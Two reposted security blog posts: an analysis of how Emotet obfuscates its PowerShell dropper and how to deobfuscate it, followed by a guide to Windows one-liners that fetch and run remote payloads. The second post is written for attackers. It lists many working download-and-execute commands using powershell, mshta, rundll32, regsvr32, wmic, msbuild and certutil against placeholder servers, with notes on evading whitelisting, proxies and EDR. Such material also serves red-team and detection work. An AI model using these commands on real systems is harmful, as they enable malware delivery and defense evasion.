Deobfuscating Emotet’s powershell payload

( Original text by malfind )

Emotet is a banking trojan, targeting computer users since around 2014. During that time it has changed its structure a lot. Lately we see massive emotet spam campaigns, using multiple phishing methods to bait users to download and launch a malicious payload, usually in the form of a weaponized Word document.

Emotet's chain of infection
Emotet’s chain of infection

First user receives a fake e-mail, trying to persuade him to click on the link, where the weaponized doc is being downloaded. Document is then trying to trick user to enable content and allow macros in order to launch embedded VBA code. VBA is obfuscated. We can also deobfuscate it, but in the end it launches a powershell command. Let’s skip VBA deobuscation today, as I want to focus on powershell. We can obtain powershell command launched by VBA code without deobfuscation, by using any sandbox with powershell auditing.

Typical Emotet document

The powershell code itself is obfuscated as well. The problem with just launching it in the virtual environment is that we probably won’t see every network IoC this way. Of course there are ways to do it (just block dns requests, and malware should try every fail-over domain), but in my opinion if there is time to do it – it is always better to deobfuscate code to better understand it.

Obfuscation is a way to make a malicious code unreadable. It has two purposes. First to trick antivirus signatures, second to make analysis of the code harder and more time-consuming.

In this post, I want to show three ways of obfuscation used by Emotet malware since December 2017.

1. String replace method

This method uses multiple powershell’s “replace” operators to swap a bunch of junk strings with characters that in the end produce a valid powershell code

Example 1. Code obfuscated with replace string method

Of course you can deobfuscate it manually in any text editor, just by replacing every string with its equivalent or you can speed up a process with correct regular expression. In the end you can put this regular expression in the python script and automate it completely. There are just few things to consider when implementing it in python:

  • String concatenations. These little ‘+’ can mess up with our regexp, so they have to be handled first
  • Char type projection – sometimes for additional obfuscation, strings to be replaced are not typed directly to the powershell code, but they are converted from int to char. We have to handle that as well
  • Replacing one part of the code can “generate” new replace operators – this is because “junk string” can be in the middle of replace operator (for example: -replFgJace, where FgJ is a string to be replaced with empty string). For this reason it is best to put regexp in the loop and perform replace operation as long as there is something to replace
Deobfuscated code from example 1

2. String compression

This method is quite simple as it uses powershell’s built-in class DeflateStream to decompress and execute a compressed stream.

Example 2. Decompress string obfuscation method

The easiest way to deobfuscate this is to use powershell to simply decompress the string. Just remember to remove command between first two parenthesis – its a an obfuscated Invoke-Expression cmdlet that will execute the code on your computer! Also, always use a safe (possibly disconnected from the network, unless you know what you are doing), virtualized environment when dealing with malicious code.

Decompression method deobfuscation in powershell

But what if we’d like to have a portable python script that can deal with this type of deobfuscation? If we look at MSDN documentation, then we will see that DeflateStream class follows RFC 1951 Deflate data format specification, and can actually be decompressed by using zlib library. There is one catch: zlib’s decompress method by default expects correct zlib file header, which DeflateStream does not have, as it is not a file but a stream. To force zlib to decompress a stream we can either add a header to it or simply pass a -zlib.MAX_WBITS (there is a minus at the beginning!) argument to decompress function. zlib.MAX_WBITS (which is 15) argument with a negative value informs decompress function that it should skip header bits.

3. ASCII codes array

How does the computer represents strings? Well that is simple, as numbers. But numbers are much harder to read for human than strings, so these numbers are later changed to strings by every program. But if obfuscation’s goal is to make code harder to read, then why don’t use this trick to hide a true purpose of malicious code? This is the third obfuscation method I will present.

Example 3. Ascii code array obfuscation method

On the example above we can see a long string, with a lot of numbers in it. If you are familiar with ASCII codes, you will probable recognize them instantly. If not then your hint should be a type projection after a pipe that converts every given string from table first to int then to char. Method presented in example 3, also uses a split operator, that splits a string by a given separator to further obfuscate the code. I saw samples where a pure char array is used instead of a string that had to be split.

To deobfuscate this in python simply use similar split method (found in re library), and then map numbers to chars by using chr() function.

Ascii array with split method deobfuscation in python

A little more about the code

So now we deobfuscated the code, what we can gain from it? We can clearly see that this is a simple dropper, that uses WebClient class to connect to hardcoded domains, download a binary to %TEMP% directory and then launch it. The break instruction combined with try-catch clause assures that this script will connect to the domains provided until a download operation is completed successfully. So if it gets a binary from the first domain on the list, we will never see others in dynamic analysis. This is why deobfuscation is important.


Many obfuscated  powershell scripts (not only from Emotet) are using Invoke-Expression cmdlet to run an obfuscated string as a code. This is very important when we are working with powershell malicious code in the windows console, because missed invoke-expression cmdlet will launch a code instead of just displaying it. Therefore it is always important to look for disguised Invoke-Expression cmdlets. Why disguised? Because they are not always easy to spot. Firstly, powershell allows for usage of aliases for long commands. So for example built-in alias for Invoke-Expression is “iex”. But this is not the end! Powershell also allows to concatenate strings and use them as cmdlets, and strings can be stored in variables. You see the problem?

Let’s return to example with DeflateString compression. there is a following line at the beginning of the script:


It takes a value of a powershell’s built-in variable $verbosepreference, converts it to string, takes 2nd and 4th char, concatenates it with ‘X’ and concatenates them all together to one string using join operator.

What is the default value of  $verbosepreference? It turns out it is ‘SilentlyContinue’. Second and forth chars of this string are, you guessed it, ‘i’ and ‘e’. When we concatenate them with ‘x’ we receive ‘iex’ – alias of Invoke-Expression cmdlet. Creepy? Kinda. this kind of tricks in powershell are very popular among malware developers.

Invoke-Expression obfuscation example

Homework: Can you spot an Invoke-Expression cmdlet in third example (ASCII table)?

Deobfuscation script for Emotet

I put my deobfuscation script for Emotet on GitHub. You can use it and modify it as you wish. For now it automatically detects and deobfuscates all obfuscation methods described in this post.

Windows oneliners to download remote payload and execute arbitrary code

( origin text )

In the wake of the recent buzz and trend in using DDE for executing arbitrary command lines and eventually compromising a system, I asked myself « what are the coolest command lines an attacker could use besides the famous powershell oneliner » ?

These command lines need to fulfill the following prerequisites:

  • allow for execution of arbitrary code – because spawning calc.exe is cool, but has its limits huh ?
  • allow for downloading its payload from a remote server – because your super malware/RAT/agent will probably not fit into a single command line, does it ?
  • be proxy aware – because which company doesn’t use a web proxy for outgoing traffic nowadays ?
  • make use of as standard and widely deployed Microsoft binaries as possible – because you want this command line to execute on as much systems as possible
  • be EDR friendly – oh well, Office spawning cmd.exe is already a bad sign, but what about powershell.exe or cscript.exe downloading stuff from the internet ?
  • work in memory only – because your final payload might get caught by AV when written on disk

A lot of awesome work has been done by a lot of people, especially @subTee, regarding application whitelisting bypass, which is eventually what we want: execute arbitrary code abusing Microsoft built-in binaries.

Let’s be clear that not all command lines will fulfill all of the above points. Especially the « do not write the payload on disk » one, because most of the time the downloaded file will end-up in a local cache.

When it comes to downloading a payload from a remote server, it basically boils down to 3 options:

  1. either the command itself accepts an HTTP URL as one of its arguments
  2. the command accepts a UNC path (pointing to a WebDAV server)
  3. the command can execute a small inline script with a download cradle

Depending on the version of Windows (7, 10), the local cache for objects downloaded over HTTP will be the IE local cache, in one the following location:

  • C:\Users\<username>\AppData\Local\Microsoft\Windows\Temporary Internet Files\
  • C:\Users\<username>\AppData\Local\Microsoft\Windows\INetCache\IE\<subdir>

On the other hand, files accessed via a UNC path pointing to a WebDAV server will be saved in the WebDAV client local cache:

  • C:\Windows\ServiceProfiles\LocalService\AppData\Local\Temp\TfsStore\Tfs_DAV

When using a UNC path to point to the WebDAV server hosting the payload, keep in mind that it will only work if the WebClient service is started. In case it’s not started, in order to start it even from a low privileged user, simply prepend your command line with « pushd \\webdavserver & popd ».

In all of the following scenarios, I’ll mention which process is seen as performing the network traffic and where the payload is written on disk.


Ok, this is by far the most famous one, but also probably the most monitored oneif not blocked. A well known proxy friendly command line is the following:

powershell -exec bypass -c "(New-Object Net.WebClient).Proxy.Credentials=[Net.CredentialCache]::DefaultNetworkCredentials;iwr('http://webserver/payload.ps1')|iex"

Process performing network call: powershell.exe
Payload written on disk: NO (at least nowhere I could find using procmon !)

Of course you could also use its encoded counterpart.

But you can also call the payload directly from a WebDAV server:

powershell -exec bypass -f \\webdavserver\folder\payload.ps1

Process performing network call: svchost.exe
Payload written on disk: WebDAV client local cache


Why make things complicated when you can have cmd.exe executing a batch file ? Especially when that batch file can not only execute a series of commands but also, more importantly, embed any file type (scripting, executable, anything that you can think of !). Have a look at my Invoke-EmbedInBatch.ps1 script (heavily inspired by @xorrior work), and see that you can easily drop any binary, dll, script:
So once you’ve been creative with your payload as a batch file, go for it:

cmd.exe /k < \\webdavserver\folder\batchfile.txt

Process performing network call: svchost.exe
Payload written on disk: WebDAV client local cache


Also very common, but the idea here is to download the payload from a remote server in one command line:

cscript //E:jscript \\webdavserver\folder\payload.txt

Process performing network call: svchost.exe
Payload written on disk: WebDAV client local cache


Mshta really is the same family as cscript/wscript but with the added capability of executing an inline script which will download and execute a scriptlet as a payload:

mshta vbscript:Close(Execute("GetObject(""script:http://webserver/payload.sct"")"))

Process performing network call: mshta.exe
Payload written on disk: IE local cache

You could also do a much simpler trick since mshta accepts a URL as an argument to execute an HTA file:

mshta http://webserver/payload.hta

Process performing network call: mshta.exe
Payload written on disk: IE local cache

Eventually, the following also works, with the advantage of hiding mshta.exe downloading stuff:

mshta \\webdavserver\folder\payload.hta

Process performing network call: svchost.exe
Payload written on disk: WebDAV client local cache


A well known one as well, can be used in different ways. First one is referring to a standard DLL using a UNC path:

rundll32 \\webdavserver\folder\payload.dll,entrypoint

Process performing network call: svchost.exe
Payload written on disk: WebDAV client local cache

Rundll32 can also be used to call some inline jscript:

rundll32.exe javascript:"\..\mshtml,RunHTMLApplication";o=GetObject("script:http://webserver/payload.sct");window.close();

Process performing network call: rundll32.exe
Payload written on disk: IE local cache


Discovered by @subTee with @mattifestation, wmic can invoke an XSL (eXtensible Stylesheet Language) local or remote file, which may contain some scripting of our choice:

wmic os get /format:"https://webserver/payload.xsl"

Process performing network call: wmic.exe
Payload written on disk: IE local cache


Regasm and Regsvc are one of those fancy application whitelisting bypass techniques discovered by @subTee. You need to create a specific DLL (can be written in .Net/C#) that will expose the proper interfaces, and you can then call it over WebDAV:

C:\Windows\Microsoft.NET\Framework64\v4.0.30319\regasm.exe /u \\webdavserver\folder\payload.dll

Process performing network call: svchost.exe
Payload written on disk: WebDAV client local cache


Another one from @subTee. This ones requires a slightly different scriptlet from the mshta one above. First option:

regsvr32 /u /n /s /i:http://webserver/payload.sct scrobj.dll

Process performing network call: regsvr32.exe
Payload written on disk: IE local cache

Second option using UNC/WebDAV:

regsvr32 /u /n /s /i:\\webdavserver\folder\payload.sct scrobj.dll

Process performing network call: svchost.exe
Payload written on disk: WebDAV client local cache


This one is close to the regsvr32 one. Also discovered by @subTee, it can execute a DLL exposing a specific function. To be noted is that the DLL file doesn’t need to have the .dll extension. It can be downloaded using UNC/WebDAV:

odbcconf /s /a {regsvr \\webdavserver\folder\payload_dll.txt}

Process performing network call: svchost.exe
Payload written on disk: WebDAV client local cache


Let’s keep going with all these .Net framework utilities discovered by @subTee. You can NOT use msbuild.exe using an inline tasks straight from a UNC path (actually, you can but it gets really messy), so I turned out with the following trick, using msbuild.exe only. Note that it will require to be called within a shell with ENABLEDELAYEDEXPANSION (/V option):

cmd /V /c "set MB="C:\Windows\Microsoft.NET\Framework64\v4.0.30319\MSBuild.exe" & !MB! /noautoresponse /preprocess \\webdavserver\folder\payload.xml > payload.xml & !MB! payload.xml"

Process performing network call: svchost.exe
Payload written on disk: WebDAV client local cache

Not sure this one is really useful as is. As we’ll see later, we could use other means of downloading the file locally, and then execute it with msbuild.exe.

Combining some commands

After all, having the possibility to execute a command line (from DDE for instance) doesn’t mean you should restrict yourself to only one command. Commands can be chained to reach an objective.

For instance, the whole payload download part can be done with certutil.exe, again thanks to @subTee for discovering this:

certutil -urlcache -split -f http://webserver/payload payload

Now combining some commands in one line, with the InstallUtil.exe executing a specific DLL as a payload:

certutil -urlcache -split -f http://webserver/payload.b64 payload.b64 & certutil -decode payload.b64 payload.dll & C:\Windows\Microsoft.NET\Framework64\v4.0.30319\InstallUtil /logfile= /LogToConsole=false /u payload.dll

You could simply deliver an executable:

certutil -urlcache -split -f http://webserver/payload.b64 payload.b64 & certutil -decode payload.b64 payload.exe & payload.exe

There are probably much other ways of achieving the same result, but these command lines do the job while fulfilling most of prerequisites we set at the beginning of this post !

One may wonder why I do not mention the usage of the bitsadmin utility as a means of downloading a payload. I’ve left this one aside on purpose simply because it’s not proxy aware.

Payloads source examples

All the command lines previously cited make use of specific payloads:

  • Various scriplets (.sct), for mshta, rundll32 or regsvr32
  • XSL files for wmic
  • HTML Application (.hta)
  • MSBuild inline tasks (.xml or .csproj)
  • DLL for InstallUtil or Regasm/Regsvc

You can get examples of most payloads from the awesome atomic-red-team repo on Github: from @redcanaryco.

You can also get all these payloads automatically generated thanks to the GreatSCT project on Github:

You can also find some other examples on my gist: